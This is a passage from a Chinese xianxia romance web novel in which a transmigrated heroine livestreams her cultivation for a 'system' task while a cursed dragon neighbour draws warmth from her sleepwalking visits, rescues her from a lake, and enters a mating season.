他捏起一颗,不小心碰到了祈安的皮肤,忽地一顿,一股似蚂蚁嗫咬过的感觉自指腹攀升,酥酥麻麻。
应苍没想到,就算是这样浅浅的接触,也会被暖流刺激到。他留意了下祈安的神色,没有什么反应,看来每次她都不会有什么特别的感觉。
不知为何,应苍想到这一层,心里就有些不舒服。他的视线穿过跳动的烛光,落在祈安的脸上,沉声开口:“你今晚过来,只是为了送丹药?”
“当然不是了。”祈安见他收下了自己带过来的东西,就不藏着掖着了。又是“啪”的一声,从怀里掏出了纸和笔。
这是?
“苍兄,我过来主要是为了——复盘。”
“复盘?”
“你可以理解为,我来学习经验的。就是想问问你,上次我的直播你看了一会儿就退出了,是什么原因导致你没有看下去的呢?”祈安一双发亮的眼睛黏在应苍的脸上,“我绝对没有要责问你的意思,就是我想知道自己哪里做的不好,以后可以改进改进。”
她昨天已经盘算好了,一次的失败根本不算什么,她要好好地回顾自己直播里面的问题。可惜这直播也没有回放,身边看过她直播的只有应苍一人。
祈安决定放下芥蒂,打开胸襟,拥抱建议,于是就带着自己刚炼好的丹药登门拜访了。
应苍没想到,祈安居然是为了这件事来的。他回忆了一下昨天的情形,想了半晌后,缓缓吐出几个字:“看讯息去了。”
祈安:?
“你的意思是,你是为了看讯息然后退了出去?”
应苍颔首。
“那之后为什么不再进去呢?”
“找不到了。”
祈安觉得自己像是一拳打在了棉花上,本来她是抱着被批评、收集意见的心态来的,现在一句找不到了让她心里的劲儿无处使。最后她不死心,又问了句:“那当时看到我的直播,为什么想要点进去呀?是哪里吸引了你吗?”
问不出建议,好的地方能说出来也是可以的。
“想看看你在做什么。”
应苍如实回答。
... ...
好好好,就是在电视上看到熟人了呗,高低得点进去看看他在作什么妖。
“感谢你的回答”祈安知道没什么有效的信息了,立马起身离开,一点也不拖泥带水。到门口的时候琢磨着不能白来,又回头对应苍说道:“如果下次再看到我直播时,可以点一下左上角的关注,当作给我报恩了。当然,如果能够一直看完,我将不胜感激。”
*
祈安沮丧地回了房间,这一趟没什么有效信息,还白搭了三颗丹
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药进去。
“早知道这样我就少带一颗嘛!”
她懊悔地锤着枕头,小心地收好自己最后的两枚聚灵丹。
不过说起来,她似乎还有点炼丹的天分,以后没准还可以直播炼丹。
祈安赶忙把这个点子记下来,然后掏出青铜镜,划拉着面板。
【直播十人同时在线-未达成】
未达成三个字明晃晃地摆在那里,祈安心里不是滋味。
她点进去想看看任务详情,突然在里面看到了几行小字:
宿主当日未直播,扣除寿元十天。
多少?!
再往下看,自从自己达到练气期后,没有直播的日子,全都扣了十天的寿元。
一、二、三、四、五!
整整五十天!
祈安反复地看了不下十遍,还是不能接受自己被扣了五十天寿元的事实。
不是,这系统怎么不给提示呢?之前不是每天都喊一遍的吗?现在怎么不叫了,随随便便就给扣了!客服呢?我要申诉!
祈安鼓捣到了后半夜,都没有找到投诉的入口。
她只能眼睁睁地看着自己的寿元被减掉了五十天,加上之前的,整整少了两个月!
祈安长这么大,最舍不得两样东西,一是钱,二是命。现在既赚不到钱,还保不住命,对于她来说是灵与肉的双重打击。
这晚上,祈安第一次失眠。
同样失眠的,还有隔壁的应苍。
他已经习惯了祈安夜夜都来的生活,可今天他都已经现了原身了,祈安那边还一直传来脚步声。
还没睡吗?
应苍靠在墙角处,凝神听着,留意着祈安的动向。
啪嗒。
是鞋子掉落在地的声音。
看来已经上床了,快要过来了。
可惜直到应苍寒意发作,隔壁也没传来木门开合的声音。
寒意侵入了他的五脏六腑,应苍的意识渐渐游离。他鳞片上附了一层淡淡的霜,整个身子僵住,冻在了墙角处不能动弹。
*
应苍是被日光照醒的。
他醒来时自己还躺在地上,已经恢复了人形。
身上全是灰尘,头发也凌乱不堪,整个人显得格外的狼狈。
这是他从深渊里出来后,第一次寒意完全发作。以前被九幽玄铁锁着时,整个人泡在无光谭里,潭水虽然寒凉刺骨,但哪怕是结成冰雕,寒意退去后的应苍依旧衣冠整洁,身上毫无污渍。
经过了这一夜,身上的霜化掉后混杂着地上的尘土,几乎将他衣物上全都涂了一层泥渍。
他喜净,最厌恶自己身上被脏污沾染。
当下准备使个清洁术,将自己衣服清理干净。可丹田里刚一运转灵气,胸口就一阵刺痛。灵气淤堵在胸腔内流转不得。
应苍这才想起,自己寒意发作后要等上两个时辰,才能正常使用灵力。
这些日子有祈安在,他竟忘记了这件事。
他颓唐地坐在椅子上,屋外传来了祈安和易为春说笑的声音。应苍突然发现,自己现在好像有些...离不开祈安。
一日都离不开。
倘若两人日后分开后,那他的寒意就会日日发作。
看来,要想个办法。
要么把寒意根除掉,要么就要永远把她绑在身边,永远。
11.看星星
祈安一大早就独自外出修炼了。
她已经知道哪些是落霞宫的领地,基本上在这地域内,不会有什么危险。祈安随身携带着那把青铜镜,她决定之后自己只要是修炼,就开直播。
反正现在也没什么人看,干脆就挂在那里,只要不扣自己的寿元,什么都好说。
在落霞宫的西侧,有一汪湖水。
湖大概十几个小池塘左右的大小。那里离落霞宫比较远,平时蔺远和怀津修炼也很少过去。
刚好适合祈安。人少,灵气相对多一些。
她选了个景致不错的地方,将青铜镜随手放在了一边,只能照得到自己半个身子,也懒得调整角度,直接点了开始直播。
直播开始后,马上扭转身体:“我绝对不看数据!!绝对!”
深吸一口气后,闭上眼睛就开始感受四周的灵气。
刚开始总忍不住掀起眼皮看当前在线人数,每次刚一要看到,就立马闭上眼睛。
不看不看,不能看。
千万不要被数据影响,好好修炼。
祈安灵气在体内运转一个小周天后,就起来活动活动身子。
活动时也不看屏幕,自顾自地说道:“感谢大家来看我的直播,如果喜欢主播可以点点左上角的关注。点关注,不迷路!”
万一里面有正在看的人呢?要是能捞着一两个粉丝,她就算赚了。
就这样循环了三个周天,祈安终于打算回到落霞宫休息。
就在她收拾东西时,天空突然变得漆黑,祈安感觉仿佛有一只无形的手从天上压了下来。
那是什么?
天空突然像被撕裂了一般,露出了一张人脸。
祈安不管怎么看,都记不住那张脸长什么样子,唯一的感觉就是那双眼睛并不友善,满是凶光。
正在疗伤的应苍也抬起了头,冷冷地看着天上那张他无比熟悉的脸。
“各宗门听令——”
一道似钟鸣的声音传来。
天上那人突然开口,祈安被这声波震得耳膜一阵疼痛,身子竟然被压得直接跪倒在地。
“苍龙一族凌阳,今日被发现已逃出了无光谭。若有修士见到此人,立刻禀报青霄宗。”
空中下一秒出现了一张人物画像。
画上的人身着赤红战袍,艳红的抹额束在眉上,似一团烧的正旺的火。一脚踩着只吊眼白虎,手上的刀上还淌着血。
祈安只消看一眼,就知道画的便是那原书里的第一大反派——凌阳。
凌阳是书里唯一一个用刀的修士。当初在书里出场的时候祈安还暗暗夸赞了一下他帅气的容颜,看描述明明就是个意气风发、在战场上威风凛凛的少年将军,所行之事也是极为坦荡豪爽,可惜最后被作者刻画成了一个勾结邪修、无恶不作、暴虐成性的反派。
凌阳竟然逃出来了?
空中少年画像消失后,又出现了一条翻滚的巨龙,鳞片哪怕是在黑压压的天空里,也透着绿意。
看来,这就是凌阳的真身了。
祈安看着那龙头上粉红色的犄角,就像发现了新大陆一般:“这么帅的反派犄角居然是粉色的,啊啊啊太可爱了吧!”
花园里,应苍玄光鉴里正展示着祈安的直播的界面。
那句“可爱”冷不丁地飘入他的耳内,应苍以为自己听错了,瞥了一眼直播画面。发现祈安正两只手捂住嘴巴,满脸惊讶的神色,仿佛真的是觉得那犄角可爱。
应苍指节捏得青白,紧咬的牙缝里泻出了一句话:“还是第一次,被人用可爱来形容。”
祈安等天上的脸消失后,继续站起来收拾自己的东西,嘴里还絮絮叨叨的:“这些宗门的人真是奇怪,有点灵气就瞧不起别人了,说话就说话,干嘛还要我跪下。”
她虽然对着世界的事情不是很明白,但刚才很明显地感受到,是那人故意施压,让他们这些修为低下的人以这种极度不平等的姿势来听他说话。
哼,要不是我完成任务就回去了,非得给这里换换规矩。
祈安在说这话前,还是把直播关掉了,不然她都担心自己会被盯上,毕竟直播的时候还是要谨言慎行。
青铜镜上很快就弹出了这次直播的总结。
【直播时长:三个时辰
最高在线总人数:8人
新增关注:1人】
等等!多少人?
祈安杏目圆睁,完全不敢相信今天的直播竟然有这么多人同时在线,那岂不是差一点就完成任务了?
她开始懊悔自己当时怎么看到这一盛况。果然,没有勇气面对别人的批评时,势必也会错过他人的夸奖。
不管怎么说,这都是一个好兆头。祈安暗自在心里给自己鼓劲:继续加油呀阿祈!
*
等祈安回到落霞宫的时候,发现清虚和易为春一众人,都已经在院子里。不用易为春说,祈安也知道是因为那反派凌阳逃脱的事儿。
清虚安排易为春出去几日,和在外的弟子汇合后,把手头的任务处理完,就一同返回宗门。
易为春刚见到祈安,就反复叮嘱她最近几天要注意安全,尽量不要走的太远。
祈安都一一应下。
清虚环视了一周,随口问了句:“应苍呢?”
蔺远说道:“中午的时候我看他好像出去了,应该还没回来。”
“要是看到他回来,要他来找我。”清虚朝祈安说道,想了一会儿,又改变了主意,“算了,明日我会去寻他的。”
*
一行人吃过晚饭后,除了清虚,其他人都聚在了祈安屋前。
易为春和祈安坐在台阶上,蔺远和怀津坐在了祈安给他们准备的秋千上。
四个人说说笑笑,相谈甚欢。
应苍回来的时候,就看到这样一幅场景。四个人围在一起,自己是那个局外人。祈安无疑是这一众人的中心,所有的欢笑,都是围绕她展开的。
她抬头看星星,他们也看。
她放声大笑,他们也跟着笑。
应苍发现,易为春的眼睛几乎没有从祈安身上挪走过。不管祈安在看什么,他永远在看着祈安。
应苍发现,自己对易为春似乎没什么好感,哪怕当初他同祈安一起救了自己。
他不喜欢热闹,打算悄无声息地回到自己的房间,可偏偏祈安不如他的愿。
“哎——应苍——”
她叫了他的名字,引得大家都回头看去。
应苍发现,易为春脸上的笑容,在看到他的瞬间就消失了,反而换上了防备的姿态。
祈安没有发现他们二人之间微妙的变化,她今天因为直播成绩不错,兴致很高,仍旧唤着应苍:“快来,来看星星!”
她应苍招招手,往一旁挪了挪,留了个位置给应苍。
应苍本想拒绝,可身体不受控制地走了过去。低头看着台阶上的灰尘,皱着眉头:这么多灰,就不怕脏了衣物。
“等一下——”祈安一眼就看出了他的别扭,匆匆跑进屋内,从柜子上拿了一小块废布条,放在了台阶上,“这下可以了,请坐吧大少爷。”
应苍面色松了些,
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撩起下摆,屈身坐下。
*
今晚是个晴天。
星垂平野,月光皎皎。
祈安和蔺远是这场月下茶话会的主力军,两人几乎说了百分之九十的话,易为春和怀津偶尔附和几句。
应苍一句话都没说。
他只是看着那藏青色的天空。
祈安早就发现了应苍的不对劲,但她也一句话都没有问
她知道,人只有在思念的时候,才会在试图在天空中寻找答案。刚来这里的第一晚,自己就是这样度过的。在乞丐群中不敢睡去,只能抬头看着天上的星星。
那天是个阴天,星星都看不真切。但她仍旧一直看,一直看,直到天空泛起了鱼肚白,祈安知道,自己真的回不去了。
白天里为了活着而忙碌,晚上就沉默地看星星。
她在想着妈妈,那应苍呢?在思念谁?
亲人,爱人,朋友。
无外乎是这几种罢了。
其实应苍什么都没想。
他坐在祈安身旁,只要稍微一放松,那股荔枝香就会侵占了他整个意识。
这股香味他太熟悉了,熟悉到有了固定的反应。
只要这道香味一袭来,他就忍不住想要露出自己的尾巴,卷住祈安。
可现在这么多人,他不能那样做。
应苍开始期盼着时间过得快点,快点入夜,祈安快点睡着。
终于,在一阵阵哈欠声中,大家散了,各自回了房间。
所有人都很快被困意打倒,除了应苍。
他的精神越来越兴奋,丝毫没有睡意。
这天夜里,祈安入睡格外地快。
应苍还没有现出龙身,她就来了。
应苍站在房间中央,等着祈安朝他走来。
祈安的手碰到了他的衣物,开始上下摸索着。
“是蛇蛇吗?”
祈安顺着应苍的胳膊,一路摸到了他的胸前、下巴、眼睛,最后是那道飞入鬓的剑眉。
明明还是在梦里,祈安却无比肯定地说着:“哦!你是应苍,不是蛇蛇!”
下一秒,应苍都没有料到,祈安竟然张开胳膊抱住了他,轻拍他的后背:“乖啦,不要不开心。”
这一轻柔的触碰,让应苍绷紧了身体。恰好寒疾在此刻发作,寒意自丹田升起,往四肢蔓延去。手和脚是最先变得僵硬的,而后睫毛与眉峰处,都染上了淡淡的白霜。
他只犹豫了片刻,变将祈安的身子箍进了自己的怀里。
青霄宗既然已在九州内下了通告,自己身份暴露是迟早的事,要赶紧趁着现在将寒疾尽快地治疗好,刚好这上好的暖炉送上门来,没有不用的道理。
想到此处,应苍又用手捏着祈安的后脖颈,将她的头往自己胸前靠。在肌肤相接触的地方,暖意源源不断地流入了应苍的体内。
他一偏头,就能看到自己指缝间露出的嫩白的皮肤。祈安的脖子太纤细了,自己一只手就可以握住大半。只要稍一用力,怕是就可以拧断。
看来,以后要小心一些。
应苍伏在祈安颈间,荔枝香一直围着他转。那几抹晃动着的白嫩,让他渐渐失了心智。他想起了年幼时吃的荔枝,也是一般的白嫩,香甜。他深吸了几口,缓慢地凑近了祈安的脖子,微微张口。这里,会不会和荔枝一样甜?
就当他快要靠近的时候,身体却变回了原身。
应苍落在地上的瞬间意识才回笼,他松了一口气,庆幸自己刚才没有真的那样做。如果留下痕迹被发现了,那以后可就不好玩了。
12.遁迹符
祈安醒来的时候身子靠在柜子边,手里攥着仅剩的两颗聚灵丹。
“我怎么又不在床上!!”
清晨的房间里发出了她的第一声咆哮,祈安立马冲到门口检查了一番,发现门锁完好无损时,才松了口气。
应该...晚上没人来过吧。
她突然想起那日应苍说过的话:经常在半夜听到她的脚步声。难道说,自己是有梦游症?
祈安套上鞋子往隔壁跑去,木门被拍得直响:“应苍,你在吗?”
屋内的人拉开了门,一张俊脸上扔挂着睡意。
啊,一时心急,竟忘了别人可能还在睡觉。
祈安缩缩脖子,尴尬地问道:“那个...你昨天晚上有没有听到我的脚步声?”
听到这话的应苍神色一滞,但很快就明白祈安为何这么问,他摇摇头:“昨夜我睡得早,没有听到。”
“好吧。”祈安有些失望,临走时又嘱咐了应苍一遍,“如果你听到脚步声,一定要记得给我发消息!”
*
云水间内。
应苍刚一进去,就瞧见清虚的背影。
清虚感受到了身后的动静:“来啦。”
“嗯。”
“过来坐吧。”
清虚正坐在一大片芍药前。
应苍走过去在清虚身旁坐下,看着那片芍药有些恍神。以前母亲的花圃里全都种满了芍药,粉的,白的,黄的,总是成片成片地开着。
“身上的伤怎么样了?”
应苍回道:“好些了。”
“手给我。”
应苍沉思片刻,还是将手伸了过去。
清虚握着应苍的手腕,明显感知到他体内的那股邪气有了变化。清虚心里疑惑不已,那邪气自己都不知道应如何化去,应苍是怎么在如此短的时间内就找到了应对之法?关键是,自己竟然还毫无察觉。
清虚按下心头的疑惑,没有去追问太多:“比刚来时要好上不少,看来你已经寻得法子来治疗体内的邪气了,应当用不了几个月,邪气就会被尽数除尽。”
应苍只是点点头,没有作声。他知道这功效是来自于祈安,如果寒意真的能够全都除尽,那他离复仇之日又近了一步。
“想必你已经知道凌阳逃脱一事了。”清虚一面说着,一面观察着应苍。
应苍脸上神色始终是淡淡的,没什么反应。
清虚见他不回话,继续说着:“因为凌阳的逃脱,外面估计要乱上一阵子。这段时日你尽量不要外出,就在落霞宫境内,这里人烟稀少,不受关注,适合你养伤。需要帮助的时候,如果你信任老夫,可以来找我。”
“还有,”清虚从怀里掏出了一张符纸,递给了应苍,“也许以后用得上。”
清虚送给应苍的,是一张上古时期流传下来的遁迹符。使用此符的人,可以隐藏自身气息三天不被发现。
由于符术早已失传,如今的修仙界已经无人可以画出遁迹符。
如此贵重的东西,清虚为何会送给自己?而且他一个金丹期的修士,又怎会有如此高阶的符箓。
应苍再联想到上次清虚在自己腰间注的灵力,他渐渐觉得,这人真实的修为甚至在自己之上。好在此时他对自己还没有恶意,如果是敌人,怕是有些难以对付。
将符纸收入怀兜内,刚好碰到了玄光鉴的一角,顺势就掏了出来。
正巧上面弹出了条提示:
【十亿少男的梦正在直播。】
应苍点了进去,祈安正像昨天那样,坐在湖边打坐,玄光鉴上只能看得到她的侧脸。
“还挺勤快。”应苍随手将玄光鉴放在了一旁,任由祈安直播的画面在那里播放,自己也开始感受周围的灵气。
-
祈安刚刚突破练气期,体内的灵力还不够稳固,便一边修炼一边直播。有了昨天八人同时在线的经历,今天她胆子大了不少,在空隙偶尔也抬眼看看同时在线的人数。
人数时多时少,基本在6人上下徘徊。
没有弹幕的直播属实没什么意思,祈安也放弃了和直播间的人互动。累了要么躺在草地上休息会儿,要么就捡着石头去打水漂。
平地上的石头被她捡完后,祈安就往靠近水的地方去寻。她一眼就看上了那个被泡在水里的石头,形状、薄厚都是上乘。
祈安慢慢地往过靠。刚好是个下坡,越靠近湖边路越滑,最后一小段路实在看着有些危险,祈安停下了自己的脚步,蹲下身子,拽着半人高的草,慢慢地将自己的上半身靠近那块石头,手费力地够着。
“终、于要够到了。”
眼看着自己离石头越来越近,心底一阵欣喜,已经开始幻想要在湖面上打出十漂的好成绩了。谁知脚底一滑,手里的草根部发出了细微的断裂声,祈安整个人直直地往湖面栽去。
“啊!救命——咕噜咕噜”
应苍正吸收灵气时,听到了祈安的尖叫声。立马拿起了玄光鉴,目睹了她掉入湖里的整个过程。
当即没有犹豫,立刻往湖边赶去。
祈安水性不好,只在暑假的时候学过几节蛙泳课,若是有教练在旁边,还可以像模像样地游上几圈,倘若身边没有人陪着她,便自动切换为了旱鸭子模式。
眼下掉入湖中,根本没有人可以帮忙,呛了几口水之后,更是一阵慌乱。手脚胡乱蹬了几下,然后就沉到湖底了。
等应苍赶到的时候,湖面已恢复了平静。他想都没想,直接跳入了湖内救人。
刚寻得的暖炉,被水淹死可太可惜了。
幸亏应苍是苍龙,入水不需要掐避水诀,不然以自己现在的灵力,怕是支撑不了多久。
他没想到的是,这湖水的温度竟和无光谭相差不多。刚一跳进去,全身就感觉到一阵寒冷,寒疾竟被勾的有发作之意。
要赶紧找到祈安,他怕是在这里待不了太久。
可祈安就像被蒸发了一般,应苍在湖底游了一盏茶的时间,都没看到她的踪影。
“难道她刚才没有掉进来?”
可明明听到了水声。
应苍已经感觉到自己体内的寒疾要发作了,如果再在这里停下去,怕是会直接晕过去。
“先上去好了。”
就在要钻出湖面的时候,应苍又回头看了一眼这幽深的湖水:“这里面水草交横,如果人藏在某个地方,可能确实不容易发现。还是再看一圈,别真死在这里面。”
应苍又回了湖底,专门捡着隐蔽的地方找寻。在路过一大从水草的时候,嗅到了一丝不一样的味道。
“是荔枝香。”应苍立马捕捉到这股香味,“祈安应该就在这附近。”
他在水草中仔细地搜寻着。寒意已经在发作了,脚底的步子慢了不少,水草若是缠住他的脚,应苍都得费好大的劲儿才能解开。
脑海里只有一个意念:找到祈安。
只要找到祈安,寒意就可以被抑制住,而祈安也会活下来。
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睫毛已经结成了冰,应苍无法睁开眼睛,眼前一片漆黑。五感中只有嗅觉还能勉强地工作着,应苍就依靠着微弱地嗅觉,在黑暗中摸索着。
在荔枝香最浓郁的地方,应苍摸到了一个水球。水球弹动着,里面似乎包裹着一个人。
应苍的直觉告诉他,这人就是祈安。他用尽了身体最后的一点力量,拖着水球出了水面。
水球刚到水面上后,就炸开来,一个温暖的身体坠了下来。应苍伸手接住,熟悉的暖意立刻传到了身体里。
果然是她。
应苍喘着粗气,抱着祈安上了岸。两人衣衫尽湿,体温透着衣服相互传递着,走到一个安全的地方后,应苍终于坚持不住,抱着祈安倒在了地上。
他神志全失,用力地揽着祈安。恍惚间以为自己化出了龙尾,用龙尾紧紧地缠在了她的腰上。
*
祈安万万没想到,自己会在应苍的怀里醒来。他的双臂紧紧地箍着自己,一条腿还搭在了自己的腰间。
这糟糕的姿势!
“我不是掉了湖里了吗?怎么和他抱在一起了?”
祈安欲哭无泪,想要从应苍的怀里钻出来,又怕动作太大吵醒了他。
要是应苍这时也醒了,她不敢想象是多么尴尬的场面。
她没想到的是,应苍的胳膊竟然像铁一般,不管自己怎么挣扎,始终逃脱不开。
她试着掰开应苍的手,没想到对方竟然直接扣住了她的手腕,而后两个人就水灵灵地变为了十指相扣的状态。
这姿势...更加糟糕了...
亲密得就像是热恋中的情侣一般...
“不是,我在想什么啊!”祈安摇摇头,试图将这些乱七八糟的念头甩出去,就在此刻,她的脑海里传来了一道声音:
【恭喜宿主完成十人同时在线任务,已为您解锁弹幕功能。】
?!
任务就完成了?
祈安往青铜镜那里望去,发现里面刚好可以隐隐看到两个人抱在一起的画面。
“啊!怎么还在直播啊!”
祈安猛地推开了应苍,慌忙地跑过去关了直播。
【最高在线人数:30人
涨粉数:3人】
我去...
难怪别人喜欢擦边,确实有流量,就和应苍抱了这么一会儿,任务就完成了。
要是这样,干脆和应苍一起做个情侣直播,他长得还不赖,流量应该不错。就是不知道这个冷面哥会不会同意。
正想着,祈安往应苍那边看过去,发现他不知何时已经坐起身子,远远地看着她。
“你你你什么时候醒的。”
刚对上那双眼睛,祈安就想到两人刚才抱在一起的情形,脸腾的一下就红了。她故意装作无事发生,快步往应苍那边走,脚底却软得不成样子。
祈安硬着头皮问道:“是你救了我吗?”
“嗯。”应苍淡淡地说道,“还差点死了。”
差点死了,死了?
祈安立马凑到了应苍面前,一只手放在了他的额头上,另一只手往鼻下探去:“你现在感觉怎么样?有没有哪里不舒服?我带你回去找师傅吧。你的伤才刚好一点,别再感染了。”
这一连串的问题应苍完全没有听进去,他觉得自己身体里有股异样的感觉,总觉得体内一阵阵地空虚,还有着断断续续的痒意。
不像是寒疾发作,反倒更像是到了——
发情期!
13.抱着睡
苍龙一族的雄性,在经历发情期后,才会真正地生出情根。发情期大都在十五六岁,一般会持续三天。那三天里基本上所有的雄龙都会被关在屋内,尽量不接触异性,独自捱过这难熬的时日。
应苍的发情期比族里所有的雄性要晚很多,一直到二十多岁,依旧没有发情的迹象。身边的人都相继有了伴侣,只有他始终一人独来独往。
曾经他以为自己天生与其他龙不同,不会有发情期,完全没有料到自己的发情期竟会在现在到来。
发情期的一大特征就是体温升高。
应苍已经觉得身子渐渐热了起来,微微拉开自己的衣领,让冷风透进去。
祈安看着他脸上浮起的红晕,笃定他是真的病了,当即就搀住了他的胳膊:“你好像发烧了,我扶你起来,去找师父看下。”
“我没事。”
应苍将祈安的手推开,扭过头,摇晃着站起来,衣服还浸着湖水,紧紧地贴在身上,愈来愈高的体温烫得他嗓子发哑:“不要管我,我先回去了。”
也不管祈安什么反应,照直往落霞宫走去。
“哎,怎么就走了。”祈安匆忙地收起自己的直播支架,追了上去,“等等我,你慢点。”
应苍捏紧拳头,快步走着,祈安要小跑才能勉强和他并肩而行:“你真的没事吗?还是去找下师父给你看一下吧。”
“你脸色真的不好看。”
“走慢点可以吗?我有点累。”
祈安一路跟着,呼吸渐急,她扯着应苍的袖子,想要他走慢些,无意间擦到了他的手背。
突然的触碰让应苍身体不自主地抖了起来,口愈发干渴,身上覆着一层薄薄的汗珠,他用残存不多的意志甩开了祈安的手。
祈安没预料到他会使这么大的力气,脚底一个没站稳,直接摔倒在了地上。
应苍没有去扶,冷冷说着:“我说了,不用管我。”
说罢,拂袖而去。
“应苍!你是不是有毛病啊。”
可前面的人依然脚步不停,没有任何回应。
“真是莫名其妙!”祈安单手撑着从地上站起来,早上还是干净的衣服,现在全都是泥渍,再加上应苍冷漠的语气,她心里就像是一瓶刚要喷发又被盖上瓶盖的汽水一样,憋闷得很。
但又看到前面的人摇摇晃晃的,似乎走路都有些困难,祈安又心软了:算了算了,把他当做不想去看医生的怪老头就好了,和这种人没法讲道理。毕竟刚刚也救了我的小命,万一现在不管他倒在半路上然后变成鬼来找我索命,那我亏大了。
她吸吸鼻子,深呼吸几次后,硬生生把刚浮起的泪花憋了回去,继续跟着应苍。这次祈安学乖了,始终和他之间保持五步以上的距离,不远不近地跟在身后。既确保自己不被误伤到,又能在应苍晕过去后及时把他救起来。
两人就这样一前一后地回了落霞宫,直到各自到了自己的门前,仍旧没说一句话。
应苍先推门进去,木门合上之前,祈安叫住了他:“应苍,你要是实在不舒服,记得告诉我,保命要紧。”
“还有,谢谢你今天救了我。”
可回应她的,只有隔壁关门的声音。
“你——”望着隔壁紧闭的门,祈安憋了一路的情绪又提了上来,她扭头进了屋内,大力地摔上了门,“你最好祈祷自己真没事,不然我可能会见死不救。”
祈安鼓着腮帮子,小脸像是被揉皱了的白纸,一个人坐在床上生着闷气,完全没看到从自己衣服的兜里,缓缓地爬出了一个幽绿色的小乌龟。
乌龟顺着她的衣服,一路往上爬,一直爬上了祈安的背部。
他伸出自己的爪子,指甲不小心勾住了祈安的发丝。
“哎哟。”
祈安只觉得自己头发被扯得一阵疼,以为头发被夹在了什么地方,便拽着发尾准备扯出来。
结果刚扯了一下,就觉得有些不对劲,似乎头发上悬着个什么东西。祈安赶忙把身后的头发理到前面,低头一看,对上了一双绿豆般的眼睛。
一人一龟沉默地对视了三秒钟后,祈安的房里发出了一阵尖叫声。
“走开走开。”
祈安试图把乌龟甩开,可龟的爪子就像是带了倒刺的藤蔓一样,死死地与头发纠缠着。不管祈安动作多大,乌龟始终扒在头发上一动不动。
它越是不动,祈安的动作就越大。
在持续连续的“海盗船”冲击下,乌龟渐渐支撑不住,他终于开口说话了:“别甩了,好晕。”
“啊——”
还是个会说话的乌龟精,这下祈安甩得更用力了。
乌龟只觉得自己眼前漆黑一片,肚子里翻江倒海的难受。
“呕。”
它差一点吐在了祈安的头发上。
听到干呕声的祈安立马停住了自己的动作,比起乌龟会说话,乌龟吐在她头上更让自己难以接收。
“总、总算停了。”乌龟终于可以缓口气,“你把我放下来。”
祈安看着乌龟身上那绿油油、滑腻的苔藓,刚伸出的手就缩了回去:“你你你能不能自己跳下去。”
“可以。”乌龟说,“不过这么高我可能会死。”
?
祈安并不相信它的话,背着这么硬的壳,怎么可以这么轻易地就挂了,于是故意说道:“和我又没什么关系。”
“那我跳了。”
说罢,乌龟竟真的松了手,祈安只见的一个绿意盎然的龟壳直往下落。
也许是怕它真死了,祈安下意识地用手接住了乌龟。那绿油油、滑腻腻的龟背,完完整整、毫无保留地与她的手来了个亲密接触。
“呕——”
这次干呕的人换成了祈安,她最讨厌的就是这样的触感,偏偏就让自己遇到了。下一秒,乌龟啪的一声,被祈安扔在了桌子上。
而她则以弹射的速度,冲到了盆边,把手反反复复地搓洗了几遍,直到一丁点腥味都闻不到后,才停下了动作。
这时候她才有心思和这个突然出现的乌龟好好地聊一聊,结果刚一回头,发现乌龟的头和脚都缩了进去,只留龟壳。
不会真的嘎了吧。
祈安捡了根棍子,远远地戳着龟壳:“嗨,你还好吗?哈喽?还活着吗?”
“我饿了。”
从龟壳里传来了一阵闷闷的声音。
祈安一听这声音才放心下来:“没死就行。”
她抽出把凳子坐在了桌子边,开始盘问它:“你叫什么名字?”
“我饿了。”
祈安仍旧没有理会,继续问着:“你是从哪冒出来的。”
“我饿了。”
......
“你为什么跟着我?”
“我饿了。”
祈安无语住了:“那你要吃什么?”
“这个。”
缩进去的乌龟-头立马钻了出来,一同出现的还有左上肢。祈安顺着爪子的方向看,这乌龟指的竟然是自己上次练好的聚灵丹。
“不行。”祈安立刻把丹瓶抱在自己手里,“你换一个。”
“那我不吃了。”刚伸出来的头又缩了回去,悠悠的声音传来,“我饿死我自己。”
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>说罢,竟然真的没有了反应。不管祈安怎么逗弄,乌龟始终无动于衷。
祈安望着自己手里的聚灵丹,心一横,决定把这丹药当做诱饵。她把丹药放在自己的手心里,慢慢地靠近乌龟。
果然闻到香味的乌龟伸出了头,刚准备张嘴去衔,祈安就合上了手:“你先回答我的问题,我就给你吃。”
“行吧。”
虽然有些不情愿,乌龟还是答应了。
“小乌龟,你先告诉我你叫什么名字。”
“我没有名字。”
......
“那你怎么会在我房间里?”
“我在湖里闻到了药香味,就钻进你口袋里被带回来了。”
......还是是个贪吃的无名乌龟。
祈安还在思索下一个问题,就听那乌龟可怜兮兮地说道:“我真的饿了......”
头软趴趴地伏在桌子上,仿佛下一秒真的会饿昏过去。祈安一时心软,把手里的那颗聚灵丹喂给了他。
见乌龟吃得香,祈安把瓶子里的最后一颗也倒了出来,叹了口气:“你都吃了吧。”
那乌龟也毫不客气,直接伸长脖子,一口就吞下了聚灵丹。吃饱后伸了个懒腰,在桌上睡着了。午后的阳光刚好从窗外照进来,尽数洒在了乌龟的身上,祈安没忍心打扰它,轻手轻脚地拿了本书坐在旁边看了起来。
这一看,就到了晚上。
期间祈安担心他死掉,还叫醒了几次,后面发现这乌龟可能单纯的就是觉多,就没有再管,自己上床睡觉了。
*
应苍经过了一天的发情期,到夜里才渐渐平息。他瘫软在床上,高束的头发散乱开,精壮的胸膛裸露在外,挂着几抹红痕。
下身化出了龙尾,一半盘在床尾,另一半垂落在地上。
祈安就是在这个时候来的。
她推门进来后,荔枝香立马充满了整个房间,应苍好不容易平稳了的欲望,又有渐渐抬头的趋势。
龙尾不自觉地上翘着,他忍不住轻哼出声,费力地撑起自己的身体,尽可能地往床的角落里靠,不让祈安碰到自己。
祈安还是和往常一样,照例往床上躺去。在一片荔枝香中,应苍嗅到了一丝不同的味道。只是他精神无法集中,竟然没有发现祈安的口袋里此时竟藏着一只乌龟。
乌龟用两只前爪扒着口袋的边缘,探出头来看着床上的两个人。
应苍缩在角落里,而祈安则跪在床上四处摸索着。她进一寸,应苍退一寸,直到没有后退的地方。
祈安一把抓住了盘踞在床上的龙尾,扯过来垫在了自己的头下。
细嫩的脖子触碰到龙尾鳞片上的那一刻,应苍的体内的浪潮又被勾了起来。他一点点地挪动着身体,尾巴下移,不知不觉间,和祈安并排躺在了一起。
龙尾在祈安的腿上缠绕了几圈,将她的腿绑在一起,尾巴时不时地扫过祈安的脚心,每次她只要微微挣扎一下,应苍就裹得更紧。
但哪怕是这样,应苍也觉得不够,身体里的空虚始终都在,他又开始扭动着身体,试图缓解体内的不适感。
就在此刻,祈安突然揽住了他的腰,将头埋在了胸前,嘟嘟囔囔地抱怨着:“别动啦。”
应苍感受着祈安温热的呼吸,心里的弦轰然崩断,他两只胳膊箍住了祈安的上半身,将她拉入怀中。
